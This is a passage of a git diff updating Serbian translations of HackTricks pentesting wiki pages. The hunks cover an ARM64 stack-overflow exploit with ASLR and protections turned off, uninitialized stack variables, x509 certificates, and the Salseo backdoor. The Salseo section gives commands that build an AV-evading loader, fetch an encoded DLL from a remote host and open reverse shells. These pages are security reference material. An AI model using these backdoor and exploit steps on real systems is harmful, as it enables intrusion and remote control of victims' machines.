+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
Pronađite uvod u arm64 u:
@@ -20,7 +21,7 @@ Pronađite uvod u arm64 u:
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
-## Kod
+## Code
```c
#include
#include
@@ -35,21 +36,23 @@ vulnerable_function();
return 0;
}
```
-Kompajlirajte bez pie-a, canary-ja i nx-a:
+Kompajlirajte bez pie, canary i nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## Bez ASLR-a & Bez canary-ja - Preplavljivanje steka
+{% endcode %}
-Da biste zaustavili ASLR, izvršite:
+## Nema ASLR i nema kanarinca - Stack Overflow
+
+Da zaustavite ASLR, izvršite:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-Da biste dobili [**pomak bof-a pogledajte ovaj link**](../ret2win/ret2win-arm64.md#finding-the-offset).
+Da biste dobili [**offset od bof proverite ovu vezu**](../ret2win/ret2win-arm64.md#finding-the-offset).
-Eksploatacija:
+Eksploit:
```python
from pwn import *
@@ -80,6 +83,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-Jedina "komplikovana" stvar koju treba pronaći ovde je adresa na steku za poziv. U mom slučaju, generisao sam eksploit sa adresom pronađenom korišćenjem gdb-a, ali kada sam ga iskoristio, nije radio (jer se adresa steka malo promenila).
+Jedina "komplikovana" stvar koju treba pronaći ovde bi bila adresa na steku koju treba pozvati. U mom slučaju, generisao sam exploit sa adresom pronađenom pomoću gdb, ali kada sam ga iskoristio, nije radilo (jer se adresa steka malo promenila).
-Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shell koda.
+Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shellcode-a.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/uninitialized-variables.md b/binary-exploitation/stack-overflow/uninitialized-variables.md
index 65d51a4bf..debc01c91 100644
--- a/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,39 +1,40 @@
# Neinicijalizovane promenljive
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Osnovne informacije
-Osnovna ideja ovde je razumeti šta se dešava sa **neinicijalizovanim promenljivima jer će imati vrednost koja je već bila u dodeljenoj memoriji njima.** Primer:
+Osnovna ideja ovde je razumeti šta se dešava sa **neinicijalizovanim promenljivama jer će imati vrednost koja je već bila u dodeljenoj memoriji za njih.** Primer:
-* **Funkcija 1: `initializeVariable`**: Deklarisali smo promenljivu `x` i dodelili joj vrednost, recimo `0x1234`. Ova akcija je slična rezervisanju mesta u memoriji i postavljanju određene vrednosti u nju.
-* **Funkcija 2: `useUninitializedVariable`**: Ovde deklarišemo drugu promenljivu `y` ali joj ne dodeljujemo nikakvu vrednost. U programskom jeziku C, neinicijalizovane promenljive se ne postavljaju automatski na nulu. Umesto toga, zadržavaju vrednost koja je poslednja bila sačuvana na njihovoj memorijskoj lokaciji.
+* **Funkcija 1: `initializeVariable`**: Deklarisali smo promenljivu `x` i dodelili joj vrednost, recimo `0x1234`. Ova akcija je slična rezervisanju mesta u memoriji i stavljanju specifične vrednosti u nju.
+* **Funkcija 2: `useUninitializedVariable`**: Ovde, deklarisali smo još jednu promenljivu `y`, ali joj nismo dodelili nikakvu vrednost. U C-u, neinicijalizovane promenljive se automatski ne postavljaju na nulu. Umesto toga, zadržavaju bilo koju vrednost koja je poslednja sačuvana na njihovoj memorijskoj lokaciji.
-Kada pokrenemo ove dve funkcije **sekvencijalno**:
+Kada pokrenemo ove dve funkcije **uzastopno**:
-1. U `initializeVariable`, `x` je dodeljena vrednost (`0x1234`), koja zauzima određenu memorijsku adresu.
-2. U `useUninitializedVariable`, `y` je deklarisana ali joj nije dodeljena vrednost, pa zauzima memorijsko mesto odmah posle `x`. Zbog nedostatka inicijalizacije `y`, završava "nasleđujući" vrednost sa iste memorijske lokacije koju koristi `x`, jer je to poslednja vrednost koja je bila tamo.
+1. U `initializeVariable`, `x` dobija vrednost (`0x1234`), koja zauzima specifičnu adresu u memoriji.
+2. U `useUninitializedVariable`, `y` je deklarisana, ali joj nije dodeljena vrednost, pa zauzima memorijsko mesto odmah nakon `x`. Zbog neinicijalizovanja `y`, ona na kraju "nasleđuje" vrednost iz iste memorijske lokacije koju koristi `x`, jer je to poslednja vrednost koja je bila tamo.
-Ovo ponašanje ilustruje ključni koncept u programiranju na niskom nivou: **Upravljanje memorijom je ključno**, a neinicijalizovane promenljive mogu dovesti do nepredvidivog ponašanja ili sigurnosnih ranjivosti, jer mogu nenamerno držati osetljive podatke ostavljene u memoriji.
+Ovo ponašanje ilustruje ključni koncept u niskonivou programiranju: **Upravljanje memorijom je ključno**, a neinicijalizovane promenljive mogu dovesti do nepredvidivog ponašanja ili sigurnosnih ranjivosti, jer mogu nenamerno sadržati osetljive podatke ostavljene u memoriji.
Neinicijalizovane promenljive na steku mogu predstavljati nekoliko sigurnosnih rizika kao što su:
-* **Curenje podataka**: Osetljive informacije poput lozinki, ključeva za šifrovanje ili ličnih detalja mogu biti izložene ako se čuvaju u neinicijalizovanim promenljivima, omogućavajući napadačima da potencijalno pročitaju ove podatke.
-* **Otkrivanje informacija**: Sadržaj neinicijalizovanih promenljivih može otkriti detalje o memorijskoj strukturi programa ili internim operacijama, pomažući napadačima u razvoju ciljanih eksploatacija.
-* **Padovi i nestabilnost**: Operacije koje uključuju neinicijalizovane promenljive mogu rezultirati nedefinisanim ponašanjem, što dovodi do rušenja programa ili nepredvidivih ishoda.
-* **Izvršavanje proizvoljnog koda**: U određenim scenarijima, napadači bi mogli iskoristiti ove ranjivosti da promene tok izvršavanja programa, omogućavajući im da izvrše proizvoljan kod, što može uključivati pretnje izvršavanjem udaljenog koda.
+* **Curjenje podataka**: Osetljive informacije kao što su lozinke, ključevi za enkripciju ili lični podaci mogu biti izloženi ako su sačuvani u neinicijalizovanim promenljivama, omogućavajući napadačima da potencijalno pročitaju ove podatke.
+* **Otkrivanje informacija**: Sadržaj neinicijalizovanih promenljivih može otkriti detalje o rasporedu memorije programa ili unutrašnjim operacijama, pomažući napadačima u razvoju ciljanih eksploatacija.
+* **Rušenja i nestabilnost**: Operacije koje uključuju neinicijalizovane promenljive mogu rezultirati neodređenim ponašanjem, što dovodi do rušenja programa ili nepredvidivih ishoda.
+* **Izvršavanje proizvoljnog koda**: U određenim scenarijima, napadači bi mogli iskoristiti ove ranjivosti da promene tok izvršavanja programa, omogućavajući im da izvrše proizvoljan kod, što može uključivati pretnje od daljinskog izvršavanja koda.
### Primer
```c
@@ -67,10 +68,25 @@ return 0;
```
#### Kako ovo funkcioniše:
-* **Funkcija `initializeAndPrint`**: Ova funkcija deklariše celobrojnu promenljivu `initializedVar`, dodeljuje joj vrednost `100`, a zatim štampa kako memorijsku adresu tako i vrednost promenljive. Ovaj korak je jednostavan i pokazuje kako se ponaša inicijalizovana promenljiva.
-* **Funkcija `demonstrateUninitializedVar`**: U ovoj funkciji deklarišemo celobrojnu promenljivu `uninitializedVar` bez inicijalizacije. Kada pokušamo da štampamo njenu vrednost, izlaz može pokazati nasumičan broj. Taj broj predstavlja bilo koje podatke koji su prethodno bili na toj memorijskoj lokaciji. Zavisno od okruženja i kompajlera, stvarni izlaz može varirati, a ponekad, radi bezbednosti, neki kompajleri automatski mogu inicijalizovati promenljive na nulu, iako se na to ne bi trebalo oslanjati.
-* **Funkcija `main`**: Funkcija `main` poziva obe prethodne funkcije jednu za drugom, demonstrirajući kontrast između inicijalizovane i neinicijalizovane promenljive.
+* **`initializeAndPrint` funkcija**: Ova funkcija deklariše celobrojnu promenljivu `initializedVar`, dodeljuje joj vrednost `100`, a zatim ispisuje i adresu u memoriji i vrednost promenljive. Ovaj korak je jednostavan i pokazuje kako se ponaša inicijalizovana promenljiva.
+* **`demonstrateUninitializedVar` funkcija**: U ovoj funkciji, deklarišemo celobrojnu promenljivu `uninitializedVar` bez inicijalizacije. Kada pokušamo da ispišemo njenu vrednost, izlaz može prikazati nasumičan broj. Ovaj broj predstavlja bilo koje podatke koji su prethodno bili na toj adresi u memoriji. U zavisnosti od okruženja i kompajlera, stvarni izlaz može varirati, a ponekad, iz bezbednosnih razloga, neki kompajleri mogu automatski inicijalizovati promenljive na nulu, iako se na to ne treba oslanjati.
+* **`main` funkcija**: `main` funkcija poziva obe gornje funkcije redom, demonstrirajući razliku između inicijalizovane i neinicijalizovane promenljive.
-## Primer za ARM64
+## ARM64 Primer
-Ovo se u potpunosti ne menja u ARM64 jer se lokalne promenljive takođe upravljaju na steku, možete [**proveriti ovaj primer**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) gde je to prikazano.
+Ovo se uopšte ne menja u ARM64 jer se lokalne promenljive takođe upravljaju na steku, možete [**proveriti ovaj primer**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) gde je ovo prikazano.
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Podržite HackTricks
+
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+
+
+{% endhint %}
diff --git a/c2/salseo.md b/c2/salseo.md
index 5efb0e90b..9d2b9cdd3 100644
--- a/c2/salseo.md
+++ b/c2/salseo.md
@@ -1,38 +1,39 @@
# Salseo
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Kompajliranje binarnih fajlova
-Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod.
+Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Biće vam potreban **Visual Studio** instaliran da biste kompajlirali kod.
-Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
+Kompajlirajte te projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
-Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target"**.
+Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u **"Platform Target".**
(\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\ Properties"**)
![](<../.gitbook/assets/image (839).png>)
-Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja izvršnog fajla):
+Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla):
![](<../.gitbook/assets/image (381).png>)
-## Priprema zadnjih vrata
+## Pripremite Backdoor
-Prvo, moraćete da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
+Prvo, biće potrebno da kodirate **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
### **Python**
```
@@ -44,46 +45,46 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.**
+Ok, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **encoded EvilDalsa.dll** i **binary of SalseoLoader.**
-**Otpremite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
+**Otpremite SalseoLoader.exe binarni fajl na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
-## **Izvršite zadnja vrata**
+## **Izvršite backdoor**
-### **Dobijanje TCP reverse shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
+### **Dobijanje TCP reverse shell-a (preuzimanje kodiranog dll-a putem HTTP-a)**
-Zapamtite da pokrenete nc kao osluškivač za reverse shell i HTTP server da posluži enkodirani evilsalsa.
+Zapamtite da pokrenete nc kao slušalac reverse shell-a i HTTP server da poslužite kodirani evilsalsa.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **Dobijanje UDP reverse shell-a (preuzimanje enkodovanog dll-a preko SMB-a)**
+### **Dobijanje UDP reverzibilne ljuske (preuzimanje kodirane dll preko SMB)**
-Zapamtite da pokrenete nc kao osluškivač reverse shell-a, i SMB server da posluži enkodovani evilsalsa (impacket-smbserver).
+Zapamtite da pokrenete nc kao slušača reverzibilne ljuske, i SMB server da posluži kodirani evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **Dobijanje ICMP reverse shell (enkodirani dll već unutar žrtve)**
+### **Dobijanje ICMP obrnute ljuske (kodirana dll već unutar žrtve)**
-**Ovog puta vam je potreban poseban alat na klijentu da primi reverse shell. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**Ovoga puta vam je potreban poseban alat na klijentu da primite obrnutu ljusku. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
-#### **Onemogućavanje ICMP odgovora:**
+#### **Onemogućite ICMP odgovore:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
-#### Izvršite klijenta:
+#### Izvrši klijenta:
```
python icmpsh_m.py "" ""
```
-#### Unutar žrtve, izvršimo salseo stvar:
+#### Unutar žrtve, hajde da izvršimo salseo stvar:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## Kompajliranje SalseoLoader-a kao DLL izvođenjem glavne funkcije
+## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju
-Otvorite projekat SalseoLoader koristeći Visual Studio.
+Otvorite SalseoLoader projekat koristeći Visual Studio.
### Dodajte pre glavne funkcije: \[DllExport]
@@ -95,59 +96,59 @@ Otvorite projekat SalseoLoader koristeći Visual Studio.
![](<../.gitbook/assets/image (881).png>)
-#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)**
+#### **Pretražite DllExport paket (koristeći Browse tab), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
![](<../.gitbook/assets/image (100).png>)
-U vašem fasciklu projekta pojavili su se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
+U vašem projektnom folderu su se pojavili fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
### **De**instalirajte DllExport
-Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je)
+Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, to je neophodno)
![](<../.gitbook/assets/image (97).png>)
-### **Izađite iz Visual Studio-a i izvršite DllExport\_configure**
+### **Izađite iz Visual Studio i izvršite DllExport\_configure**
-Jednostavno **izađite** iz Visual Studio-a
+Jednostavno **izađite** iz Visual Studio
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
-Izaberite **x64** (ako ćete ga koristiti unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
+Izaberite **x64** (ako planirate da ga koristite unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
![](<../.gitbook/assets/image (882).png>)
-### **Otvorite projekat ponovo sa Visual Studio-om**
+### **Ponovo otvorite projekat sa Visual Studio**
-**\[DllExport]** više ne bi trebalo da bude označen kao greška
+**\[DllExport]** više ne bi trebao biti označen kao greška
![](<../.gitbook/assets/image (670).png>)
### Izgradite rešenje
-Izaberite **Tip izlaza = Biblioteka klasa** (Projekat --> SalseoLoader Properties --> Application --> Tip izlaza = Biblioteka klasa)
+Izaberite **Tip izlaza = Klasa biblioteka** (Projekat --> SalseoLoader Svojstva --> Aplikacija --> Tip izlaza = Klasa biblioteka)
![](<../.gitbook/assets/image (847).png>)
-Izaberite **x64 platformu** (Projekat --> SalseoLoader Properties --> Build --> Ciljna platforma = x64)
+Izaberite **x64** **platformu** (Projekat --> SalseoLoader Svojstva --> Izgradnja --> Ciljna platforma = x64)
![](<../.gitbook/assets/image (285).png>)
-Da biste **izgradili** rešenje: Build --> Izgradi rešenje (Unutar konzole za izlaz pojaviće se putanja nove DLL datoteke)
+Da **izgradite** rešenje: Izgradnja --> Izgradi rešenje (Unutar izlazne konzole će se pojaviti putanja novog DLL-a)
-### Testirajte generisanu Dll
+### Testirajte generisani DLL
-Kopirajte i nalepite DLL gde želite da je testirate.
+Kopirajte i nalepite DLL gde želite da ga testirate.
Izvršite:
```
rundll32.exe SalseoLoader.dll,main
```
-Ako se ne pojavi greška, verovatno imate funkcionalnu DLL!!
+Ako se ne pojavi greška, verovatno imate funkcionalni DLL!!
-## Dobijanje shell-a korišćenjem DLL-a
+## Dobijanje shel-a koristeći DLL
-Ne zaboravite da koristite **HTTP server** i postavite **nc listener**
+Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
### Powershell
```
@@ -159,8 +160,6 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
-
-### Командна линија
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini da podržite HackTricks:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md
index 9f6fd65bf..18eb12927 100644
--- a/crypto-and-stego/certificates.md
+++ b/crypto-and-stego/certificates.md
@@ -1,58 +1,59 @@
-# Sertifikati
+# Certificates
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
-Dobijte pristup danas:
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-## Šta je Sertifikat
+## Šta je sertifikat
-**Javni ključni sertifikat** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
+**Javni ključ sertifikat** je digitalni ID koji se koristi u kriptografiji da dokaže da neko poseduje javni ključ. Uključuje detalje o ključevi, identitet vlasnika (subjekt) i digitalni potpis od poverljive vlasti (izdavača). Ako softver veruje izdavaču i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
-Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
+Sertifikati se uglavnom izdaju od strane [sertifikacionih tela](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u okviru [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Druga metoda je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je navedeno u RFC 5280.
-## x509 Uobičajena Polja
+## x509 Uobičajena polja
-### **Uobičajena Polja u x509 Sertifikatima**
+### **Uobičajena polja u x509 sertifikatima**
-U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja:
+U x509 sertifikatima, nekoliko **polja** igra ključne uloge u obezbeđivanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
-* **Broj Verzije** označava verziju formata x509.
-* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog Autoriteta (CA), uglavnom za praćenje opoziva.
-* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
